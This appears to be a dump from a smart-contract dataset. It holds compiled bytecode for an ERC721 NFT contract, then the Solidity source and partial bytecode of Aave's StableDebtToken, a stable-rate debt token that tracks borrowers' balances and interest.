fffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611bb6611ca6565b73ffffffffffffffffffffffffffffffffffffffff16611bd461143a565b73ffffffffffffffffffffffffffffffffffffffff1614611c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2190613ef2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9190613d92565b60405180910390fd5b611ca3816121fe565b50565b600033905090565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611d7957507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611d895750611d888261257d565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611e6f8361110e565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611ec082611d90565b611eff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef690613e12565b60405180910390fd5b6000611f0a8361110e565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611f7957508373ffffffffffffffffffffffffffffffffffffffff16611f6184610ab5565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f8a5750611f898185611b1a565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611fb38261110e565b73ffffffffffffffffffffffffffffffffffffffff1614612009576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200090613f12565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207090613dd2565b60405180910390fd5b6120848383836125e7565b61208f600082611dfc565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120df919061425b565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612136919061417a565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60006121f9610d89565b905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6122cf848484611f93565b6122db848484846126fb565b61231a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231190613d72565b60405180910390fd5b50505050565b6060600b805461232f90614345565b80601f016020809104026020016040519081016040528092919081815260200182805461235b90614345565b80156123a85780601f1061237d576101008083540402835291602001916123a8565b820191906000526020600020905b81548152906001019060200180831161238b57829003601f168201915b5050505050905090565b606060008214156123fa576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061255a565b600082905060005b6000821461242c57808061241590614377565b915050600a8261242591906141d0565b9150612402565b60008167ffffffffffffffff81111561246e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156124a05781602001600182028036833780820191505090505b5090505b60008514612553576001826124b9919061425b565b9150600a856124c891906143c0565b60306124d4919061417a565b60f81b818381518110612510577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561254c91906141d0565b94506124a4565b8093505050505b919050565b612579828260405180602001604052806000815250612892565b5050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6125f28383836128ed565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561263557612630816128f2565b612674565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461267357612672838261293b565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126b7576126b281612aa8565b6126f6565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146126f5576126f48282612beb565b5b5b505050565b600061271c8473ffffffffffffffffffffffffffffffffffffffff16612c6a565b15612885578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612745611ca6565b8786866040518563ffffffff1660e01b81526004016127679493929190613ca7565b602060405180830381600087803b15801561278157600080fd5b505af19250505080156127b257506040513d601f19601f820116820180604052508101906127af9190613220565b60015b612835573d80600081146127e2576040519150601f19603f3d011682016040523d82523d6000602084013e6127e7565b606091505b5060008151141561282d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161282490613d72565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061288a565b600190505b949350505050565b61289c8383612c7d565b6128a960008484846126fb565b6128e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128df90613d72565b60405180910390fd5b505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001612948846111c0565b612952919061425b565b9050600060076000848152602001908152602001600020549050818114612a37576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050612abc919061425b565b9050600060096000848152602001908152602001600020549050600060088381548110612b12577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060088381548110612b5a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612bcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000612bf6836111c0565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600080823b905060008111915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce490613eb2565b60405180910390fd5b612cf681611d90565b15612d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2d90613db2565b60405180910390fd5b612d42600083836125e7565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d92919061417a565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b828054612e5790614345565b90600052602060002090601f016020900481019282612e795760008555612ec0565b82601f10612e9257805160ff1916838001178555612ec0565b82800160010185558215612ec0579182015b82811115612ebf578251825591602001919060010190612ea4565b5b509050612ecd9190612ed1565b5090565b5b80821115612eea576000816000905550600101612ed2565b5090565b6000612f01612efc8461409e565b61406d565b905082815260208101848484011115612f1957600080fd5b612f24848285614303565b509392505050565b6000612f3f612f3a846140ce565b61406d565b905082815260208101848484011115612f5757600080fd5b612f62848285614303565b509392505050565b600081359050612f79816144be565b92915050565b600081359050612f8e816144d5565b92915050565b600081359050612fa3816144ec565b92915050565b600081519050612fb8816144ec565b92915050565b600082601f830112612fcf57600080fd5b8135612fdf848260208601612eee565b91505092915050565b600082601f830112612ff957600080fd5b8135613009848260208601612f2c565b91505092915050565b60008135905061302181614503565b92915050565b60006020828403121561303957600080fd5b600061304784828501612f6a565b91505092915050565b6000806040838503121561306357600080fd5b600061307185828601612f6a565b925050602061308285828601612f6a565b9150509250929050565b6000806000606084860312156130a157600080fd5b60006130af86828701612f6a565b93505060206130c086828701612f6a565b92505060406130d186828701613012565b9150509250925092565b600080600080608085870312156130f157600080fd5b60006130ff87828801612f6a565b945050602061311087828801612f6a565b935050604061312187828801613012565b925050606085013567ffffffffffffffff81111561313e57600080fd5b61314a87828801612fbe565b91505092959194509250565b6000806040838503121561316957600080fd5b600061317785828601612f6a565b925050602061318885828601612f7f565b9150509250929050565b600080604083850312156131a557600080fd5b60006131b385828601612f6a565b92505060206131c485828601613012565b9150509250929050565b6000602082840312156131e057600080fd5b60006131ee84828501612f7f565b91505092915050565b60006020828403121561320957600080fd5b600061321784828501612f94565b91505092915050565b60006020828403121561323257600080fd5b600061324084828501612fa9565b91505092915050565b60006020828403121561325b57600080fd5b600082013567ffffffffffffffff81111561327557600080fd5b61328184828501612fe8565b91505092915050565b60006020828403121561329c57600080fd5b60006132aa84828501613012565b91505092915050565b60006132bf8383613c4a565b60208301905092915050565b6132d48161428f565b82525050565b60006132e58261410e565b6132ef818561413c565b93506132fa836140fe565b8060005b8381101561332b57815161331288826132b3565b975061331d8361412f565b9250506001810190506132fe565b5085935050505092915050565b613341816142a1565b82525050565b600061335282614119565b61335c818561414d565b935061336c818560208601614312565b613375816144ad565b840191505092915050565b600061338b82614124565b613395818561415e565b93506133a5818560208601614312565b6133ae816144ad565b840191505092915050565b60006133c482614124565b6133ce818561416f565b93506133de818560208601614312565b80840191505092915050565b60006133f7602b8361415e565b91507f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008301527f74206f6620626f756e64730000000000000000000000000000000000000000006020830152604082019050919050565b600061345d60328361415e565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b60006134c360268361415e565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613529601c8361415e565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b600061356960248361415e565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006135cf60198361415e565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b600061360f602c8361415e565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b600061367560168361415e565b91507f4d6178696d756d20737570706c792072656163686564000000000000000000006000830152602082019050919050565b60006136b560388361415e565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b600061371b602a8361415e565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b600061378160298361415e565b91507f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008301527f656e7420746f6b656e00000000000000000000000000000000000000000000006020830152604082019050919050565b60006137e760208361415e565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b6000613827602c8361415e565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b600061388d60208361415e565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006138cd60298361415e565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b6000613933602f8361415e565b91507f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008301527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006020830152604082019050919050565b6000613999601c8361415e565b91507f4d757374206d696e74206174206c65617374206f6e6520746f6b656e000000006000830152602082019050919050565b60006139d960218361415e565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613a3f60288361415e565b91507f507572636861736520776f756c642065786365656420746865206d6178696d7560008301527f6d20737570706c790000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613aa560318361415e565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b6000613b0b602c8361415e565b91507f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008301527f7574206f6620626f756e647300000000000000000000000000000000000000006020830152604082019050919050565b6000613b7160298361415e565b91507f45746865722076616c75652073656e742069732062656c6f772072657175697260008301527f656420616d6f756e7400000000000000000000000000000000000000000000006020830152604082019050919050565b6000613bd7600e8361415e565b91507f53616c65206973207061757365640000000000000000000000000000000000006000830152602082019050919050565b6000613c17601b8361415e565b91507f43616e206f6e6c79206d696e7420323020746f6b656e73206d617800000000006000830152602082019050919050565b613c53816142f9565b82525050565b613c62816142f9565b82525050565b6000613c7482856133b9565b9150613c8082846133b9565b91508190509392505050565b6000602082019050613ca160008301846132cb565b92915050565b6000608082019050613cbc60008301876132cb565b613cc960208301866132cb565b613cd66040830185613c59565b8181036060830152613ce88184613347565b905095945050505050565b60006020820190508181036000830152613d0d81846132da565b905092915050565b6000602082019050613d2a6000830184613338565b92915050565b60006020820190508181036000830152613d4a8184613380565b905092915050565b60006020820190508181036000830152613d6b816133ea565b9050919050565b60006020820190508181036000830152613d8b81613450565b9050919050565b60006020820190508181036000830152613dab816134b6565b9050919050565b60006020820190508181036000830152613dcb8161351c565b9050919050565b60006020820190508181036000830152613deb8161355c565b9050919050565b60006020820190508181036000830152613e0b816135c2565b9050919050565b60006020820190508181036000830152613e2b81613602565b9050919050565b60006020820190508181036000830152613e4b81613668565b9050919050565b60006020820190508181036000830152613e6b816136a8565b9050919050565b60006020820190508181036000830152613e8b8161370e565b9050919050565b60006020820190508181036000830152613eab81613774565b9050919050565b60006020820190508181036000830152613ecb816137da565b9050919050565b60006020820190508181036000830152613eeb8161381a565b9050919050565b60006020820190508181036000830152613f0b81613880565b9050919050565b60006020820190508181036000830152613f2b816138c0565b9050919050565b60006020820190508181036000830152613f4b81613926565b9050919050565b60006020820190508181036000830152613f6b8161398c565b9050919050565b60006020820190508181036000830152613f8b816139cc565b9050919050565b60006020820190508181036000830152613fab81613a32565b9050919050565b60006020820190508181036000830152613fcb81613a98565b9050919050565b60006020820190508181036000830152613feb81613afe565b9050919050565b6000602082019050818103600083015261400b81613b64565b9050919050565b6000602082019050818103600083015261402b81613bca565b9050919050565b6000602082019050818103600083015261404b81613c0a565b9050919050565b60006020820190506140676000830184613c59565b92915050565b6000604051905081810181811067ffffffffffffffff821117156140945761409361447e565b5b8060405250919050565b600067ffffffffffffffff8211156140b9576140b861447e565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff8211156140e9576140e861447e565b5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000614185826142f9565b9150614190836142f9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156141c5576141c46143f1565b5b828201905092915050565b60006141db826142f9565b91506141e6836142f9565b9250826141f6576141f5614420565b5b828204905092915050565b600061420c826142f9565b9150614217836142f9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156142505761424f6143f1565b5b828202905092915050565b6000614266826142f9565b9150614271836142f9565b925082821015614284576142836143f1565b5b828203905092915050565b600061429a826142d9565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015614330578082015181840152602081019050614315565b8381111561433f576000848401525b50505050565b6000600282049050600182168061435d57607f821691505b602082108114156143715761437061444f565b5b50919050565b6000614382826142f9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143b5576143b46143f1565b5b600182019050919050565b60006143cb826142f9565b91506143d6836142f9565b9250826143e6576143e5614420565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b6144c78161428f565b81146144d257600080fd5b50565b6144de816142a1565b81146144e957600080fd5b50565b6144f5816142ad565b811461450057600080fd5b50565b61450c816142f9565b811461451757600080fd5b5056fea2646970667358221220685ae588773291c20e2141987f86e8fb51ac857da10c267bd69bf596d98cdb8b64736f6c63430008000033
[ 5, 12 ]
0xf37E202E587c6f63FD70F35C24Eb7f818CC5d01A
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {DebtTokenBase} from './DebtTokenBase.sol'; import {MathUtils} from './MathUtils.sol'; import {WadRayMath} from './WadRayMath.sol'; import {IStableDebtToken} from './IStableDebtToken.sol'; import {Errors} from './Errors.sol'; /** * @title StableDebtToken * @notice Implements a stable debt token to track the borrowing positions of users * at stable rate mode * @author Aave **/ contract StableDebtToken is IStableDebtToken, DebtTokenBase { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; uint256 internal _avgStableRate; mapping(address => uint40) internal _timestamps; mapping(address => uint256) internal _usersStableRate; uint40 internal _totalSupplyTimestamp; constructor( address pool, address underlyingAsset, string memory name, string memory symbol, address incentivesController ) public DebtTokenBase(pool, underlyingAsset, name, symbol, incentivesController) {} /** * @dev Gets the revision of the stable debt token implementation * @return The debt token implementation revision **/ function getRevision() internal pure virtual override returns (uint256) { return DEBT_TOKEN_REVISION; } /** * @dev Returns the average stable rate across all the stable rate debt * @return the average stable rate **/ function getAverageStableRate() external view virtual override returns (uint256) { return _avgStableRate; } /** * @dev Returns the timestamp of the last user action * @return The last update timestamp **/ function getUserLastUpdated(address user) external view virtual override returns (uint40) { return _timestamps[user]; } /** * @dev Returns the stable rate of the user * @param user The address of the user * @return The stable rate of user **/ function getUserStableRate(address user) external view virtual override returns (uint256) { return _usersStableRate[user]; } /** * @dev Calculates the current user debt balance * @return The accumulated debt of the user **/ function balanceOf(address account) public view virtual override returns (uint256) { uint256 accountBalance = super.balanceOf(account); uint256 stableRate = _usersStableRate[account]; if (accountBalance == 0) { return 0; } uint256 cumulatedInterest = MathUtils.calculateCompoundedInterest(stableRate, _timestamps[account]); return accountBalance.rayMul(cumulatedInterest); } struct MintLocalVars { uint256 previousSupply; uint256 nextSupply; uint256 amountInRay; uint256 newStableRate; uint256 currentAvgStableRate; } /** * @dev Mints debt token to the `onBehalfOf` address. * - Only callable by the LendingPool * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt tokens to mint * @param rate The rate of the debt being minted **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 rate ) external override onlyLendingPool returns (bool) { MintLocalVars memory vars; if (user != onBehalfOf) { _decreaseBorrowAllowance(onBehalfOf, user, amount); } (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(onBehalfOf); vars.previousSupply = totalSupply(); vars.currentAvgStableRate = _avgStableRate; vars.nextSupply = _totalSupply = vars.previousSupply.add(amount); vars.amountInRay = amount.wadToRay(); vars.newStableRate = _usersStableRate[onBehalfOf] .rayMul(currentBalance.wadToRay()) .add(vars.amountInRay.rayMul(rate)) .rayDiv(currentBalance.add(amount).wadToRay()); require(vars.newStableRate <= type(uint128).max, Errors.SDT_STABLE_DEBT_OVERFLOW); _usersStableRate[onBehalfOf] = vars.newStableRate; //solium-disable-next-line _totalSupplyTimestamp = _timestamps[onBehalfOf] = uint40(block.timestamp); // Calculates the updated average stable rate vars.currentAvgStableRate = _avgStableRate = vars .currentAvgStableRate .rayMul(vars.previousSupply.wadToRay()) .add(rate.rayMul(vars.amountInRay)) .rayDiv(vars.nextSupply.wadToRay()); _mint(onBehalfOf, amount.add(balanceIncrease), vars.previousSupply); emit Transfer(address(0), onBehalfOf, amount); emit Mint( user, onBehalfOf, amount, currentBalance, balanceIncrease, vars.newStableRate, vars.currentAvgStableRate, vars.nextSupply ); return currentBalance == 0; } /** * @dev Burns debt of `user` * @param user The address of the user getting his debt burned * @param amount The amount of debt tokens getting burned **/ function burn(address user, uint256 amount) external override onlyLendingPool { (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(user); uint256 previousSupply = totalSupply(); uint256 newAvgStableRate = 0; uint256 nextSupply = 0; uint256 userStableRate = _usersStableRate[user]; // Since the total supply and each single user debt accrue separately, // there might be accumulation errors so that the last borrower repaying // mght actually try to repay more than the available debt supply. // In this case we simply set the total supply and the avg stable rate to 0 if (previousSupply <= amount) { _avgStableRate = 0; _totalSupply = 0; } else { nextSupply = _totalSupply = previousSupply.sub(amount); uint256 firstTerm = _avgStableRate.rayMul(previousSupply.wadToRay()); uint256 secondTerm = userStableRate.rayMul(amount.wadToRay()); // For the same reason described above, when the last user is repaying it might // happen that user rate * user balance > avg rate * total supply. In that case, // we simply set the avg rate to 0 if (secondTerm >= firstTerm) { newAvgStableRate = _avgStableRate = _totalSupply = 0; } else { newAvgStableRate = _avgStableRate = firstTerm.sub(secondTerm).rayDiv(nextSupply.wadToRay()); } } if (amount == currentBalance) { _usersStableRate[user] = 0; _timestamps[user] = 0; } else { //solium-disable-next-line _timestamps[user] = uint40(block.timestamp); } //solium-disable-next-line _totalSupplyTimestamp = uint40(block.timestamp); if (balanceIncrease > amount) { uint256 amountToMint = balanceIncrease.sub(amount); _mint(user, amountToMint, previousSupply); emit Mint( user, user, amountToMint, currentBalance, balanceIncrease, userStableRate, newAvgStableRate, nextSupply ); } else { uint256 amountToBurn = amount.sub(balanceIncrease); _burn(user, amountToBurn, previousSupply); emit Burn(user, amountToBurn, currentBalance, balanceIncrease, newAvgStableRate, nextSupply); } emit Transfer(user, address(0), amount); } /** * @dev Calculates the increase in balance since the last user interaction * @param user The address of the user for which the interest is being accumulated * @return The previous principal balance, the new principal balance and the balance increase **/ function _calculateBalanceIncrease(address user) internal view returns ( uint256, uint256, uint256 ) { uint256 previousPrincipalBalance = super.balanceOf(user); if (previousPrincipalBalance == 0) { return (0, 0, 0); } // Calculation of the accrued interest since the last accumulation uint256 balanceIncrease = balanceOf(user).sub(previousPrincipalBalance); return ( previousPrincipalBalance, previousPrincipalBalance.add(balanceIncrease), balanceIncrease ); } /** * @dev Returns the principal and total supply, the average borrow rate and the last supply update timestamp **/ function getSupplyData() public view override returns ( uint256, uint256, uint256, uint40 ) { uint256 avgRate = _avgStableRate; return (super.totalSupply(), _calcTotalSupply(avgRate), avgRate, _totalSupplyTimestamp); } /** * @dev Returns the the total supply and the average stable rate **/ function getTotalSupplyAndAvgRate() public view override returns (uint256, uint256) { uint256 avgRate = _avgStableRate; return (_calcTotalSupply(avgRate), avgRate); } /** * @dev Returns the total supply **/ function totalSupply() public view override returns (uint256) { return _calcTotalSupply(_avgStableRate); } /** * @dev Returns the timestamp at which the total supply was updated **/ function getTotalSupplyLastUpdated() public view override returns (uint40) { return _totalSupplyTimestamp; } /** * @dev Returns the principal debt balance of the user from * @param user The user's address * @return The debt balance of the user since the last burn/mint action **/ function principalBalanceOf(address user) external view virtual override returns (uint256) { return super.balanceOf(user); } /** * @dev Calculates the total supply * @param avgRate The average rate at which the total supply increases * @return The debt balance of the user since the last burn/mint action **/ function _calcTotalSupply(uint256 avgRate) internal view virtual returns (uint256) { uint256 principalSupply = super.totalSupply(); if (principalSupply == 0) { return 0; } uint256 cumulatedInterest = MathUtils.calculateCompoundedInterest(avgRate, _totalSupplyTimestamp); return principalSupply.rayMul(cumulatedInterest); } /** * @dev Mints stable debt tokens to an user * @param account The account receiving the debt tokens * @param amount The amount being minted * @param oldTotalSupply the total supply before the minting event **/ function _mint( address account, uint256 amount, uint256 oldTotalSupply ) internal { uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.add(amount); if (address(_incentivesController) != address(0)) { _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance); } } /** * @dev Burns stable debt tokens of an user * @param account The user getting his debt burned * @param amount The amount being burned * @param oldTotalSupply The total supply before the burning event **/ function _burn( address account, uint256 amount, uint256 oldTotalSupply ) internal { uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.sub(amount, Errors.SDT_BURN_EXCEEDS_BALANCE); if (address(_incentivesController) != address(0)) { _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance); } } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806395d89b41116100de578063b9a7b62211610097578063dd62ed3e11610071578063dd62ed3e14610616578063e748489014610644578063e78c9b3b1461064c578063f731e9be146106725761018e565b8063b9a7b622146105bc578063c04a8a10146105c4578063c634dfaa146105f05761018e565b806395d89b41146105185780639dc29fac14610520578063a457c2d7146103f7578063a9059cbb1461054c578063b16a19de14610578578063b3f1c93d146105805761018e565b8063395093511161014b5780637535d246116101255780637535d24614610477578063797743381461049b57806379ce6b8c146104d057806390f6fcf2146105105761018e565b806339509351146103f75780636bd76d241461042357806370a08231146104515761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a5780633118724e146102a0578063313ce567146103d9575b600080fd5b61019b610693565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b038135169060200135610729565b604080519115158252519081900360200190f35b610258610771565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b03813581169160208101359091169060400135610783565b6103d7600480360360608110156102b657600080fd5b60ff82351691908101906040810160208201356401000000008111156102db57600080fd5b8201836020820111156102ed57600080fd5b8035906020019184600183028401116401000000008311171561030f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561036257600080fd5b82018360208201111561037457600080fd5b8035906020019184600183028401116401000000008311171561039657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506107cb945050505050565b005b6103e1610886565b6040805160ff9092168252519081900360200190f35b61023c6004803603604081101561040d57600080fd5b506001600160a01b03813516906020013561088f565b6102586004803603604081101561043957600080fd5b506001600160a01b03813581169160200135166108de565b6102586004803603602081101561046757600080fd5b50356001600160a01b031661090b565b61047f610985565b604080516001600160a01b039092168252519081900360200190f35b6104a36109a9565b6040805194855260208501939093528383019190915264ffffffffff166060830152519081900360800190f35b6104f6600480360360208110156104e657600080fd5b50356001600160a01b03166109df565b6040805164ffffffffff9092168252519081900360200190f35b610258610a01565b61019b610a07565b6103d76004803603604081101561053657600080fd5b506001600160a01b038135169060200135610a68565b61023c6004803603604081101561056257600080fd5b506001600160a01b038135169060200135610783565b61047f610de7565b61023c6004803603608081101561059657600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135610e0b565b61025861117c565b6103d7600480360360408110156105da57600080fd5b506001600160a01b038135169060200135611181565b6102586004803603602081101561060657600080fd5b50356001600160a01b031661123b565b6102586004803603604081101561062c57600080fd5b506001600160a01b038135811691602001351661088f565b6104f6611246565b6102586004803603602081101561066257600080fd5b50356001600160a01b0316611253565b61067a61126e565b6040805192835260208301919091528051918290030190f35b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561071f5780601f106106f45761010080835404028352916020019161071f565b820191906000526020600020905b81548152906001019060200180831161070257829003601f168201915b5050505050905090565b6040805162461bcd60e51b81526020600482015260166024820152751054141493d5905317d393d517d4d5541413d495115160521b6044820152905160009181900360640190fd5b600061077e603b54611287565b905090565b6040805162461bcd60e51b81526020600482015260166024820152751514905394d1915497d393d517d4d5541413d495115160521b6044820152905160009181900360640190fd5b60006107d56112cf565b60075490915060ff16806107e